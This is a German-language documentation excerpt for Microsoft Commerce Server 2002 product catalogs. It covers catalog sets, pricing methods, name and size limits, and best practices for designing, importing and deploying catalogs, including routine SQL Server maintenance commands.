Sie legen fest, welche Benutzer oder Organisationen die Kataloge in einem Katalogsatz einsehen können. Ein aggregierter Katalog kann für alle Benutzer verfügbar sein, sofern er nicht Element eines Katalogsatzes ist.

Zum Erstellen eines Katalogsatzes müssen Sie beispielsweise unter Umständen zwei Basiskataloge und einen virtuellen Katalog erstellen, einen Katalogsatz definieren, der die beiden Basiskataloge und einen virtuellen Katalog einschließt, und anschließend den Katalogsatz den Mitgliedern einer speziellen Organisation anzeigen.

Die folgende Abbildung veranschaulicht, wie Mitglieder eines Fußballklubs einen Mannschaftsbekleidungskatalog mit Sonderpreisen anzeigen können.

Katalog mit Sonderpreisen

Siehe auch

Erstellen eines Katalogsatzes

Basiskataloge und virtuelle Kataloge

Aggregierte Kataloge

Mehrsprachige Kataloge


Methoden zur Produktpreisberechnung

Die Preise Ihrer Produkte müssen mit hoher Wahrscheinlichkeit regelmäßig aktualisiert werden. Anfangs können Sie den Produktpreis in einem Katalog jedoch mit einem der folgenden Verfahren festlegen: direkte Preisfestsetzung, indirekte Preisfestsetzung und benutzerdefinierte Preisfestsetzung (Preisregeln).

Direkte Preisfestsetzung

Indirekte Preisberechnung

Benutzerdefinierte Preisfestsetzung (Preisregeln in einem virtuellen Katalog)

Preisnachlasskampagnen

Direkte Preisfestsetzung

Hier definieren Sie den Preis eines Produkts im Produkt selbst. Dazu haben Sie entweder beim Erstellen oder beim Bearbeiten des Produkts Gelegenheit. Weitere Informationen dazu finden Sie unter Preisberechnung für ein Produkt in einem Basiskatalog und Preisberechnung auf Produktvariantenebene.

Indirekte Preisberechnung

Hierbei wird der Preis über seine Zuordnung zu einer bestimmten Preiskategorie berechnet. Wenn ein Produkt einer Preiskategorie zugeordnet wird, wird der Produktpreis durch den Preis ersetzt, der in dieser Kategorie definiert ist. Der ursprüngliche Preis des Produkts wird wiederhergestellt, wenn die Zuordnung zu dieser bestimmten Preiskategorie aufgehoben wird.

Die indirekte Preisberechnung wird für gewöhnlich verwendet, wenn Sie für eine Gruppe von Produkten denselben Preis anbieten möchten – z. B. für eine Sonderkategorie, in der alle Produkte nur 1,99 Euro kosten. Informationen zur indirekten Festlegung von Preisen für Produkte finden Sie unter Preisfestsetzung für Produkte in einer Kategorie.

Benutzerdefinierte Preisfestsetzung (Preisregeln in einem virtuellen Katalog)

In einem virtuellen Katalog können Sie Preisregeln auf eine Kategorie, ein Produkt oder eine Produktvariante anwenden.

Preisregeln wenden Sie an, wenn Sie einen virtuellen Katalog in einer anderen Währung erstellen oder wenn Sie einen virtuellen Katalog erstellen, der nur einer bestimmten Gruppe von Benutzern angezeigt wird (z. B. den Mitgliedern eines Clubs, für die Preisnachlässe gelten).

Einer Kategorie, einem Produkt oder einer Produktvariante kann immer nur eine Preisregel zugeordnet werden.

Folgende Preisregeln können Sie auf Kategorien und Produkte in einem virtuellen Katalog anwenden:

  • Preis festlegen. Sie geben den genauen Preis des Produkts an. Beispiel: Ein Produkt wird für genau 10,00 Euro verkauft.
  • Hinzufügen. Sie geben den genauen Betrag ein, um den sich der Grundpreis erhöhen soll.
  • Prozentsatz hinzufügen. Sie geben den Prozentsatz des Grundpreises an, der auf den Preis aufgeschlagen werden soll.
  • Preisnachlass. Sie geben den genauen Betrag ein, um den der Grundpreis verringert werden soll.
  • Prozentualer Preisnachlass. Legen Sie die Höhe des Preisnachlasses fest. Um den Preis um 20 Prozent zu senken, legen Sie 20 % fest.

Weitere Informationen über die benutzerdefinierte Preisfestsetzung finden Sie unter Preisberechnung von Produkten in mehreren Währungen.

Preisnachlasskampagnen

Neben der Verwendung virtueller Kataloge für die Berechnung von Nachlässen für Produkte können Sie auch Preisnachlasskampagnenartikel erstellen. Der Vorteil bei der Erstellung eines Preisnachlasskampagnenartikels besteht darin, dass Sie die Zeitdauer, für den der Nachlass gilt, planen können. Ferner können Sie auch Berichte zur Wirksamkeit der Preisnachlasskampagne ausführen. Informationen über das Anwenden von Preisnachlässen auf Produkte finden Sie unter Erstellen eines Preisnachlasses.

Siehe auch

Using Current Product Prices vs Original Product Prices (englisches Thema)

Preisberechnung von Produkten in einem Basiskatalog

Preisberechnung auf Produktvariantenebene

Preisberechnung von Produkten in einer Kategorie

Preisberechnung von Produkten in mehreren Währungen

Erstellen eines Preisnachlasses


Namens- und Größenbeschränkungen für Kataloge

Unter diesem Thema sind die Namens- und Größenbeschränkungen für Kataloge auf der Commerce Server Business Desk-Ebene und der Katalog-API-Ebene aufgeführt. Informationen zu Werten, die Sie als eindeutige Bezeichner verwenden können, finden Sie unter Empfohlene Vorgehensweisen für Kataloge.

Business Desk- und Katalog-API

Einschränkungen für den DTS-Task zum Import von Produktkatalogdaten

Skalierung von Produktkatalogen

Unter diesem Thema sind die Namens- und Größenbeschränkungen für Kataloge auf der Commerce Server Business Desk-Ebene und der Katalog-API-Ebene aufgeführt.

Business Desk- und Katalog-API

Für die angegebenen Eigenschaften gelten die folgenden Zeichenbeschränkungen:

Artikel | Namens- und Größenbeschränkungen
Name der Eigenschaftsdefinition
  • Namen von Eigenschaftsdefinitionen können bis zu 100 Zeichen lang sein.
  • An der ersten Stelle sind keine Ziffern zulässig.
  • Die Zeichen "," (Komma) und "." (Punkt) dürfen nicht verwendet werden.
  • Es dürfen keine Zeichen verwendet werden, die für XML-Tagnamen nicht zulässig sind. Eine Liste der XML-Ressourcen finden Sie unter:

    http://go.microsoft.com/fwlink/?LinkId=6769

  • In Definitionsnamen dürfen die Zeichenfolgen "ProductID" und "VariantID" nicht verwendet werden.
Name der Produktdefinition | Namen von Produktdefinitionen können bis zu 128 Zeichen lang sein.
Name der Kategoriedefinition | Namen von Kategoriedefinitionen können bis zu 128 Zeichen lang sein.
Katalogname (interner Name, nicht der in Ihrer Website angezeigte Name)
  • Der Name darf nur einmal vergeben sein.
  • Katalognamen können bis zu 85 Zeichen lang sein.
  • Die Zeichen "[", "]" (eckige Klammern), ' (Apostroph), "(", ")" (runde Klammern) und "#" dürfen nicht verwendet werden. Punkte und Kommas sind ebenfalls nicht zulässig.
  • Für den Anzeigenamen des Katalogs gelten keine Einschränkungen.
  • Wenn Sie zwei oder mehr Commerce Server-Sites mit getrennten Datenbanken haben, in denen Katalogdaten gespeichert sind, und diese dasselbe Data Warehouse nutzen, dürfen Sie diesen Katalogen in unterschiedlichen Sites nicht denselben Namen geben. Wenn diese Kataloge denselben Namen haben, werden sie von Data Warehouse als ein Katalog behandelt.
Kategoriename
  • Der Name darf nur einmal vergeben sein.
  • Die Zeichen "/" (Schrägstrich), "," (Komma) und " (Anführungszeichen) dürfen nicht verwendet werden. Kommas sind nicht zulässig.
  • Der Name darf nicht mehr als 100 Zeichen umfassen.
Produktname
  • Die maximal zulässige Länge des Produktnamens wird von dem in der Produktdefinition festgelegten Wert bestimmt. Von Commerce Server wird die Länge nicht eingeschränkt.
  • Nutzen Sie für jedes Produkt einen eindeutigen Namen.
  • Stellen Sie sicher, dass keine Ihrer Kombinationen aus Kategorie- und Produktname doppelt vergeben wird.
    • Wenn Sie einen Katalog für eine Site erstellen und die Produktnamen innerhalb der Kategorien nicht eindeutig sind, wird möglicherweise der falsche Produktname in den Warenkorb aufgenommen, wenn der Benutzer ein Produkt zum Kauf auswählt. Das liegt daran, dass der Produktname an den Kategorienamen angehängt wird. So werden beispielsweise Produkt 1A in Kategorie B und Produkt A in Kategorie B1 jeweils als "B1A" gespeichert.
Produkt-ID
  • Arbeiten Sie mit Integer-Zahlen oder Text.
  • Datums-/Uhrzeit- bzw. Währungsangaben sind nicht zulässig.
  • Verwenden Sie keine Anführungszeichen.
Varianten-ID
  • Verwenden Sie keine Anführungszeichen.

Einschränkungen für den DTS-Task zum Import von Produktkatalogdaten

Beim Importieren von Katalogdaten in das Data Warehouse dürfen in die Katalogeigenschaften keine Sonderzeichen eingefügt werden. Durch Sonderzeichen kann der DTS-Task zum Import von Produktkatalogdaten nicht erfolgreich ausgeführt werden. Die Katalogeigenschaften sollten folgende Zeichen nicht enthalten: '!', '"', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\\’, ']', '^', '`', '{', '|', '}', '~'. Außerdem sollten sie keine Steuerzeichen enthalten, z. B.: 0x00 /* NULL */, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 /* , STRG-G <BEL> */, 0x08 /* STRG-H <BS> */, 0x09 /* STRG-I <HT> */, 0x0a /* STRG-J <LF> */, 0x0b /* STRG-K <VT> */, x0c /* STRG-J <FF> */, 0x0d /* STRG-M <PRS_CR> */, 0x0e /* , STRG-N <SO> */, 0x0f /* STRG-O <SI> */, 1x10, 0x11, 0x12 usw.

Skalierung von Produktkatalogen

In der folgenden Tabelle finden Sie Angaben zur Skalierung von Commerce Server-Katalogen.

Artikel | Unterstützte Größe bzw. Anzahl
Anzahl der Kataloge 10.000 Basiskataloge oder 10.000 virtuelle Kataloge

Sie können auch eine Kombination aus Basis- und virtuellen Katalogen verwenden.
Anzahl der Produkte pro Katalog 5 Mio.

Hinweis

  • Die Ausführung von Commerce Server mit 10.000 Katalogen, die jeweils 5 Mio. Produkte enthalten, wurde nicht getestet.
Anzahl der Eigenschaftsdefinitionen pro Katalog | 1.000
Anzahl der Basiskataloge pro virtuellem Katalog | 80
Anzahl der Produkte pro virtuellem Katalog | 1 Mio.
Anzahl der Preisregeln pro virtuellem Katalog | 10.000
Anzahl der Produkte pro Kategorie | 10.000
Anzahl der verschachtelten Kategorien | 5

Darüber hinaus unterstützt Commerce Server den Datentyp SQL-Text. Dieser Datentyp unterliegt nicht der für Microsoft SQL Server geltenden Zeilengrößenbeschränkung von 8.060 Byte. Mehrere Produktkataloge können gemeinsam einen SQL Server-Volltextkatalog nutzen.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge


Empfohlene Vorgehensweisen für Kataloge

Die folgenden Vorgehensweisen werden dem Siteentwickler, dem Systemadministrator und dem Businessmanager zur Implementierung empfohlen.

Entwickeln mit Katalogkomponenten

Entwerfen eines Katalogs

Zuweisen von Produktbezeichnern und Variantenbezeichnern

Importieren eines Katalogs

Bereitstellen von Katalogen

Entwickeln mit Katalogkomponenten

Die folgenden Vorgehensweisen werden dem Siteentwickler zur Implementierung empfohlen:

  • Wenn Sie als Verbindungsschlüssel den Produktbezeichner, den Variantenbezeichner oder eine andere indizierte Spalte der CatalogProducts-Tabelle verwenden, sollten Sie die Verbindungsschlüsselspalte in der externen zugeordneten Tabelle indizieren.

    Wenn Sie beispielsweise mit der GetProductProperties-API arbeiten (bei der der Produktbezeichner der Verbindungsschlüssel ist), erzielen Sie eine höhere Leistung, wenn der Verbindungsschlüssel in der externen Tabelle indiziert ist. Die Leistung liegt dann in etwa bei der Variante ohne zugeordnete Tabelle.

    Wenn der Produktbezeichner kein Index in der externen Tabelle ist, ist die Leistung in diesem Szenario niedriger. Weitere Informationen zu Verbindungsschlüsseln finden Sie unter Code zum Verbinden einer externen Tabelle mit Produktrecordsets.

  • Mit Verbindungsschlüsseln verknüpfen Sie externe Tabellen zum Abrufen von Bestandsdaten zur Laufzeit und zum Zuweisen mehrerer Werte zu einem Produkt.

    Zwei häufige Szenarios für die Verwendung von Verbindungsschlüsseln sind:

    • Der Abruf flüchtiger Katalogdaten zur Laufzeit (z. B. Bestandsdaten). Bestandsdaten sollten Sie nicht in den Katalog selbst aufnehmen, da die Site nie in die Katalogdatenbank schreibt. Ferner können Sie durch Behandeln der Katalogdatenbank als schreibgeschützte Datenbank bei der Katalogdatenbank den Netzwerklastenausgleich einsetzen und so Ihre Site skalieren.
    • Das Verknüpfen mehrerer Werte mit einem Produkt (z. B. eine Liste mit Songtiteln für eine CD, eine Besetzungsliste für einen Filmtitel oder eine Liste mit Kundenbewertungen für ein Produkt).

    Weitere Informationen zu Verbindungsschlüsseln finden Sie unter Code zum Verbinden einer externen Tabelle mit Produktrecordsets, CatalogManager.SetJoinTable Method und CatalogContext.SetJoinTable Method (BCL) (englische Themen).

  • Beim Entwickeln einer .NET-basierten Site implementieren Sie die Ablaufverfolgung mit "CatalogContext.DebugContext".

    Informationen zur Verwendung von DebugContext finden Sie unter "CatalogContext.DebugContext" in der Commerce Server 2002-Hilfe.

    Informationen zur Verwendung von DebugContext finden Sie unter CatalogContext.DebugContext.

Entwerfen eines Katalogs

Siteentwicklern und Businessmanagern werden beim Implementieren die folgenden Vorgehensweisen empfohlen:

  • Beim Entwerfen eines Katalogs sollten Sie im Sinne einer späteren Erweiterbarkeit folgende Punkte zur Skalierung berücksichtigen:
    • Mehrere Produktkataloge können gemeinsam einen SQL Server-Volltextkatalog nutzen.
    • Commerce Server unterstützt mindestens 10.000 Kataloge: 10.000 Basiskataloge, 10.000 virtuelle Kataloge oder eine Kombination aus beiden Katalogarten in der entsprechenden Anzahl.
    • Ein Katalog kann mehr als fünf Millionen Produkte enthalten. (Die Ausführung von Commerce Server mit 10.000 Katalogen, die jeweils fünf Millionen Produkte enthalten, wurde nicht getestet.)
    • Ein Katalog kann bis zu 1.000 Eigenschaftsdefinitionen unterstützen.
    • Ein virtueller Katalog kann Elemente aus bis zu 80 Basiskatalogen enthalten. Die Aufnahme von Inhalt aus anderen virtuellen Katalogen ist nicht möglich.
    • Ein virtueller Katalog kann bis zu einer Million Produkte enthalten.
    • Ein virtueller Katalog kann bis zu 10.000 Preisregeln unterstützen.
    • Eine Kategorie kann bis zu 10.000 Produkte unterstützen.
    • Kategorien können fünf Ebenen tief verschachtelt sein.
    • Commerce Server unterstützt den Datentyp SQL-Text. Dieser Datentyp unterliegt nicht der für SQL Server geltenden Zeilengrößenbeschränkung von 8.060 Bytes.
  • Verwenden Sie für jeden Katalog, jede Kategorie und jedes Produkt einen eindeutigen Namen. Stellen Sie sicher, dass keine Ihrer Kombinationen aus Kategorie- und Produktname doppelt vergeben wird.

    Wenn Sie einen Katalog für eine Site erstellen und die Produktnamen innerhalb der Kategorien nicht eindeutig sind, wird möglicherweise der falsche Produktname in den Warenkorb aufgenommen, wenn der Benutzer ein Produkt zum Kauf auswählt. Das liegt daran, dass der Produktname an den Kategorienamen angehängt wird.

    So werden beispielsweise Produkt 1A in Kategorie B und Produkt A in Kategorie B1 jeweils als "B1A" gespeichert.

  • Nachdem Sie ein Produkt erstellt haben, können Sie ihm keine andere Produktdefinition mehr zuweisen.
  • Der Datentyp einer Eigenschaft lässt sich nach deren Erstellung nicht mehr ändern.

    Sie können beispielsweise Folgendes erstellen:

    • ProductDefinition1 mit Property1 und Property2
    • ProductDefinition2 mit Property2 und Property3

    Wenn Sie auf der Basis von ProductDefinition1 ein Produkt erstellen, können Sie das Produkt zu einem späteren Zeitpunkt nicht mehr auf ProductDefinition2 basieren lassen. Sie können jedoch ProductDefinition1 ändern, beispielsweise durch Aufnahme von Property4.

    Sie können keine neue Produktdefinition zuweisen oder einen Datentyp ändern, wenn sie schon verwendet wird, da von dieser Änderung andere Produkte oder Eigenschaften betroffen sein könnten.

  • Überzeugen Sie sich davon, dass der Name einer Eigenschaft keine falschen Klammern enthält.

    Zum Beispiel:

    • Richtig: Schuhgröße (Männer)
    • Falsch: Schuhgröße Männer)

    Commerce Server überprüft die Richtigkeit der Klammern nicht automatisch. Sie können zwar einen Eigenschaftsnamen erstellen, bei dem die Klammern fehlen. Diesen Namen können Sie dann aber nicht aus der Commerce Server-Datenbank abrufen.

  • Zur Anzeige eines einzelnen Katalogs, der mehrere Währungen enthält, erstellen Sie für jede Währung einen virtuellen Katalog.

    Arbeiten Sie mit den Währungseigenschaften; verwenden Sie für mehrere Währungen keine mehrsprachigen Eigenschaften.

    Sie können eine der folgenden Vorgehensweisen wählen:

    • Sie erstellen einen virtuellen Katalog für jedes Land/jede Region und verwenden dann Preisberechnungsregeln, um den Preis jedes Produkts für dieses Land/diese Region zu definieren.
    • Sie erstellen einen virtuellen Katalog für jedes Land/jede Region und verwenden dann Preisberechnungsregeln, um einen Umrechnungskurs (Prozentsatz) auf alle Produkte anzuwenden.
    • Sie erstellen eine Währungseigenschaft für jede Währung, die Sie unterstützen, z. B. cy_list_price_USD, cy_list_price_CDN und cy_list_price_JPY. Sie schreiben Code, der eine Abfrage an den Katalog startet, in der die entsprechende Währungseigenschaft für das aktuelle Land/die aktuelle Region auszuwählen ist.

    Auf Produkte in einem virtuellen Katalog wird der Basispreis angewendet, sofern durch Preisregeln nichts anderes festgelegt wurde.

    (Länderspezifische Werte können nicht automatisch auf andere Sprachen angewendet werden. Wenn Sie diese Funktion benötigen, können Sie Ihren eigenen Laufzeitcode erstellen, von dem der Standardwert abgerufen wird, falls der zurückgegebene Wert leer ist. Sie können aber auch Code schreiben, von dem leere Werte in Katalogen mit Standardwerten belegt werden.)

  • Mit dem Attribut "In Produktliste anzeigen" einer Eigenschaftsdefinition legen Sie fest, ob eine Eigenschaft in der Produktliste in Commerce Server Business Desk angezeigt wird.

    Das Attribut In Produktliste anzeigen hat keinen Einfluss auf Ihre Website.

  • Mit der integrierten Eigenschaft "OriginalPrice" zeigen Sie den ersten Preis an, der einem Produkt zugewiesen ist.

    OriginalPrice wird bei der Initialisierung des Preises für ein Produkt festgelegt und dann nicht mehr geändert. Commerce Server führt kein Protokoll über den Preisverlauf eines Produkts.

    Weitere Informationen finden Sie unter Using Current Product Prices vs Original Product Prices. (englisches Thema)

  • Fügen Sie gegebenenfalls Ihre eigenen, benutzerdefinierten Attribute auf Katalogebene und/oder Eigenschaftsebene hinzu.

    Business Desk umfasst Katalogattribute wie Währung, Gewichtseinheit, Gebietsschema und Katalogname. Ferner sind Eigenschaftsattribute wie Minimallänge/Wert, Maximallänge/Wert, Standardwert und Anzeigename enthalten. Sie können eigene Katalogattribute hinzufügen, z. B. zum Speichern von Informationen über einen Hersteller, der die Produkte in einem Katalog anbietet. Sie können eigene Eigenschaftsattribute hinzufügen, z. B. zur Beschreibung der Art des Renderns einer bestimmten Eigenschaft auf den Webseiten (z. B. Dropdownliste, Optionsschaltfläche oder Bezeichnung).

    Zum Hinzufügen benutzerdefinierter Katalogattribute und/oder Eigenschaftsattribute muss Ihr Siteentwickler zunächst die Attribute mit der Katalog-API zu Commerce Server hinzufügen. Nach Abschluss dessen können Sie eine XML-Katalogdatei importieren, in der die Katalogattribute enthalten sind, und dann mit dem Modul "Katalogdefinitions-Designer" Werte für diese Attribute festlegen.

Zuweisen von Produktbezeichnern und Variantenbezeichnern

Für Basiskataloge müssen Sie Produktbezeichner und Variantenbezeichner zuweisen. In einem virtuellen Katalog lautet die Produkt-ID immer "ProductID" und die Varianten-ID immer "VariantID". Bei der Erstellung eines virtuellen Katalogs müssen Produkt- und Varianten-ID jedoch nicht angegeben werden.

Siteentwicklern und Businessmanagern werden beim Implementieren die folgenden Vorgehensweisen empfohlen:

  • Verwenden Sie in jedem Katalog dieselbe Eigenschaft für den eindeutigen Bezeichner.

    In Business Desk, wenn Sie die Produkte in einem Katalog auflisten, erstellt Commerce Server eine Spalte für jede Eigenschaft "Eindeutiger Bezeichner". Wenn Sie in einen virtuellen Katalog beispielsweise 20 Kataloge aufnehmen und jeder Katalog eine andere Eigenschaft für den eindeutigen Bezeichner verwendet, zeigt Commerce Server 20 Spalten mit eindeutigen Bezeichnern an. Wenn jeder Katalog dieselbe Eigenschaft für den eindeutigen Bezeichner verwendet, wird nur eine Spalte angezeigt.

  • Beim Zuweisen einer Produkt-ID verwenden Sie entweder eine Ganzzahl oder Text.

    Datums-/Uhrzeit- bzw. Währungsangaben sind nicht zulässig.

  • Fügen Sie als Produktvarianteneigenschaft keine Eigenschaften hinzu, die als Produkt-IDs verwendet werden.

    Wenn Sie in Ihrem Katalog beispielsweise ModelNumber als ID für Produkte verwenden, dürfen Sie keine Produktdefinition erstellen, in der ModelNumber als Produktvarianteneigenschaft erscheint. Andernfalls können Sie in diesem Katalog keine Instanzen der Produktdefinition erstellen.

  • Verwenden Sie für eindeutige Produkt-IDs und eindeutige Varianten-IDs nicht denselben Wert.

    Wenn eine Varianteneigenschaft eines Produkts gleichzeitig die eindeutige Produkt-ID für den Katalog ist, können Sie das Produkt nicht speichern. Sie können beispielsweise nicht die SKU als eindeutige Produkt-ID und Produktvarianten-ID zuweisen.

Importieren eines Katalogs

Businessmanagern werden beim Implementieren die folgenden Vorgehensweisen empfohlen:

  • Vor dem Import einer XML-Katalogdatei mithilfe von Business Desk wählen Sie im Dialogfeld "XML-Katalog importieren" die Option "XML-Datei überprüfen". Damit gewährleisten Sie, dass alle Daten in der XML-Datei zulässig sind.

    Business Desk zeigt bis zu 20 bei einem XML-Katalogdateiimport gefundene Fehler an. Importieren Sie die XML-Katalogdatei erst, wenn sie als fehlerfrei gilt.

  • Ihr Systemadministrator muss den Volltextindizierungsdienst (Microsoft Search-Dienst) starten, bevor Sie einen Katalog in die Katalogdatenbank importieren können.

    Beim Import eines Katalogs in die Commerce Server-Katalogdatenbank wird gleichzeitig der Volltextindex erstellt.

  • Wenn Sie beim Import von 100.000 bis 1 Million Produkten in einen Basiskatalog oder dem Veröffentlichen eines virtuellen Katalogs dieser Größe eine schlechte Leistung feststellen, muss Ihr Siteentwickler die Leistung mit DBCC-Anweisungen (SQL Server Database Console-Anweisungen) erhöhen.

    Führen Sie mit dem SQL Server Query Analyzer die Befehle DBCC FREEPROCCACHE und sp_updatestats aus. Diese Befehle erhöhen die Leistung von Katalog-APIs wie GetProduct und GetProductProperties:

    • DBCC FREEPROCCACHE entfernt alle Elemente aus dem Prozedurcache.

      Syntax: DBCC FREEPROCCACHE

    • sp_updatestats aktualisiert alle benutzerdefinierten Tabellen in der aktuellen Datenbank.

      Syntax: sp_updatestats [[@resample =] 'resample']

    Weitere Informationen über diese Befehle finden Sie in der SQL Server-Onlinedokumentation.

  • Wenn Sie einen Katalog in regelmäßig geplanten Abständen importieren möchten, beispielsweise um Kataloge von Geschäftspartnern zu importieren, wenden Sie sich wegen des zu verfassenden Codes an Ihren Entwickler.

    Informationen dazu, wie Sie mit der CatalogManager-API den Code zum Importieren eines Katalogs schreiben können, finden Sie unter CatalogManager Object (englisches Thema).

Bereitstellen von Katalogen

Die folgenden Vorgehensweisen werden dem Systemadministrator zur Implementierung empfohlen:

  • Wenn Ihre Sites relative URLs zu Bildern in den Namenseigenschaften von Katalogdateien verwenden, müssen Sie ein virtuelles Verzeichnis für die Grafiken erstellen, damit diese im Katalog-Editor angezeigt werden können.

    Sie müssen unter dem virtuellen BizDesk-Verzeichnis ein virtuelles Verzeichnis erstellen, wobei der URL auf das Verzeichnis verweisen muss, das die Bilder enthält.

    So erstellen Sie ein virtuelles Verzeichnis

    1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Verwaltung, und klicken Sie anschließend auf Internetdienste-Manager.
    2. Erweitern Sie im Bildschirm Internetinformationsdienste den Eintrag Servername und dann Ihre Website.
    3. Klicken Sie mit der rechten Maustaste auf Ihre Business Desk-Anwendung (z. B. retailbizdesk), klicken Sie auf Neu, und wählen Sie anschließend Virtuelles Verzeichnis.

      Daraufhin wird der Assistent zum Erstellen von virtuellen Verzeichnissen gestartet.

    4. Klicken Sie im Dialogfeld Willkommen des Assistenten auf Weiter.
    5. Geben Sie im Dialogfeld Alias für virtuelles Verzeichnis im Feld Alias den Namen des Unterverzeichnisses ein, in dem die Bilder für die Site gespeichert sind, und klicken Sie dann auf Weiter.
    6. Geben Sie im Dialogfeld Verzeichnis des Websiteinhalts im Feld Verzeichnis den entsprechenden Pfad ein (Standardpfad ist C:\inetpub\wwwroot\images), klicken Sie dann auf Weiter.
    7. Deaktivieren Sie im Bildschirm Zugriffsberechtigungen das Kontrollkästchen Skripts ausführen (z. B. ASP), und klicken Sie dann auf Weiter.
    8. Klicken Sie im Dialogfeld zum Beenden des Assistenten zum Erstellen virtueller Verzeichnisse auf Fertig stellen.
  • Geben Sie den Ordner "ProductCatalogs" im Ordner "BizDesk" auf dem Server frei.

    Import- oder Exportvorgänge von Dateien mit einem vom Benutzer angegebenen Dateinamen erfolgen auf der Serverseite stets aus dem bzw. in den Ordner ProductCatalogs im Ordner BizDesk des Servers. Beispiel: Die Datei output.xml wird auf den Server als d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml exportiert. Dieses Verzeichnis können Sie als Freigabe einrichten.

  • Aktivieren Sie die Änderungsverfolgungsfunktion von SQL Server, damit automatisch die Volltextindizes Ihrer Katalogtabellen aktualisiert werden.

    Mit der Änderungsverfolgungsfunktion können Sie den Volltextindex sofort, nach Zeitplan oder beim Auftreten der Änderungen aktualisieren. Dazu nutzen Sie die Backgroup-Indexaktualisierungsoption. Wenn SQL Server die Volltextindizes in regelmäßigen Abständen aktualisiert, hat das allerdings einen negativen Einfluss auf die Leistung Ihrer Site.

    Die Änderungsverfolgung ist für die Commerce Server-Katalogtabellen standardmäßig deaktiviert. Das heißt, dass Sie Ihre Volltextindizes von Hand (mit Business Desk) aktualisieren müssen, wenn sich Daten im Katalog geändert haben. Der Vorteil besteht aber darin, dass Sie den Zeitpunkt der Aktualisierung selbst wählen können.

    Informationen zum Aktivieren der Änderungsverfolgung finden Sie in der SQL Server-Onlinedokumentation.

  • Wenn Sie ein .pup-Paket mit einem materialisierten virtuellen Katalog erstellen, müssen Sie den virtuellen Katalog nach dem Entpacken erneut materialisieren.

    Wenn Commerce Server einen materialisierten virtuellen Katalog entpackt, verwendet das Programm anstelle der materialisierten Tabellen die Ansichten. Informationen über die Verwendung des Skripts "MaterializeVC.vbs" finden Sie unter Materialisieren virtueller Kataloge. Informationen zur Verwendung des Skripts "MaterializeVC.vbs" finden Sie unter "Materialisieren virtueller Kataloge" in der Commerce Server 2002-Hilfe.

  • Löschen Sie mit dem Skript CatalogCleanup.vbs temporäre Tabellen aus der MSCS_CatalogScratch-Datenbank.

    Das Produktkatalogsystem nutzt die MSCS_CatalogScratch-Datenbank zum Ablegen temporärer Katalogtabellen. Planen Sie die wöchentliche automatische Ausführung des Skripts "CatalogCleanup.vbs".

    Das Skript "CatalogCleanup.vbs" finden Sie im Ordner \Programme\Microsoft Commerce Server 2002\Support. Zum Ausführen von "CatalogCleanup.vbs" geben Sie die Verbindungszeichenfolge zur MSCS_CatalogScratch-Datenbank an.

  • Erstellen Sie einen virtuellen Katalog neu, sodass die Produkte, die aus dem Basiskatalog stammen, für das Festlegen von Preisberechnungsregeln verfügbar sind.

    In folgenden Szenarios müssen Sie einen virtuellen Katalog neu erstellen:

    • Wenn ein virtueller Katalog materialisiert ist, müssen Sie ihn neu erstellen, falls sich Daten in den zugehörigen Basiskatalogen ändern.
    • Falls der virtuelle Katalog nicht materialisiert ist, müssen Sie ihn neu erstellen, sobald sich die Daten in den zugehörigen Basiskatalogen ändern (z. B. Preisregeln, Hierarchien und Beziehungen).
    • Einen virtuellen Katalog müssen Sie immer dann neu erstellen, wenn Sie Einschluss-/Ausschlussregeln oder Preisregeln ändern.
  • Führen Sie die Neuerstellung eines virtuellen Katalogs nicht auf einem Produktionsserver durch. Die Benutzer können dann nicht auf den Katalog zugreifen.

    Erstellen Sie deshalb virtuelle Kataloge nur auf Ihrem Entwicklungsserver neu. Wenn die Kataloge materialisiert sind, können Sie sie auf Ihre Produktionsserver replizieren. Die Transaktionen der Benutzer werden dadurch nicht beeinträchtigt.

  • Löschen Sie keine Produkte aus dem Katalog, wenn der Volltextindizierungsdienst (Microsoft Search-Dienst) angehalten ist.

    Der Microsoft Search-Dienst erstellt für den Inhalt und die Eigenschaften der Kataloge Volltextindizes. Das ermöglicht schnelle Suchläufe für diese Daten. Wenn der Microsoft Search-Dienst angehalten wurde und Sie Daten aus den Katalogen löschen, werden die Kataloge beschädigt. Lassen Sie sich von Ihrem Systemadministrator sagen, wann Sie mit dem Microsoft Search-Dienst arbeiten können.

  • Aktualisieren Sie mit dem Skript "Updatefulltextcatalogs.vbs" die Volltextindizes aller Produktkataloge in einem Volltextkatalog.

    Wenn in einem Volltextkatalog mehrere Kataloge vorliegen, können Sie mit dem Skript "Updatefulltextcatalog.vbs" die Volltextindizes aller Kataloge gleichzeitig aktualisieren. Der Einsatz des Skripts "Updatefulltextcatalog.vbs" ist wirkungsvoller als der des Objekts ProductCatalog.RegenerateFullTextIndex. Bei Verwendung dieses Objekts können auf dem SQL Server viele Ressourcen gebunden werden.

    Das Skript "Updatefulltextcatalog.vbs" finden Sie im Ordner \Programme\Microsoft Commerce Server 2002\Support. Zur Ausführung von "Updatefulltextcatalog.vbs" müssen Sie die Verbindungszeichenfolge zur Katalogdatenbank und zwei weitere Parameter übergeben. Anweisungen dazu finden Sie unter Ausführen des Skripts "Updatefulltextcatalog". Anweisungen dazu finden Sie in der Commerce Server 2002-Hilfe unter "Ausführen des Skripts 'Updatefulltextcatalog'".

  • Legen Sie die Ressourcenauslastung für den Volltextaktualisierungsdienst (Microsoft Search-Dienst) mit dem Befehl SP_FULLTEXT_SERVICE fest.

    Mit dem folgenden Befehl setzen Sie die Ressourcenauslastung auf 3 (Standardwert):

    EXEC sp_fulltext_service 'resource_usage', '3'

    Wenn Sie die Ressourcenauslastung auf 5 setzen, wird der Volltextindex schneller gefüllt, der Dienst nutzt dann jedoch die CPU zu 100 %.

    Weitere Informationen finden Sie im Knowledge Base-Artikel "How to Move, Copy, and Backup SQL Full-Text Catalog Folders and Files". Diesen Artikel finden Sie unter

    http://go.microsoft.com/fwlink/?LinkId=6770.

  • Füllen Sie mit dem Skript "UpdateLanguageInfo.vbs" die CatalogLanguageMap-Tabelle. Konfigurieren Sie in der neutralen Sprachtabelle für jede Spalte, die volltextindiziert ist, das Worttrennmodul.

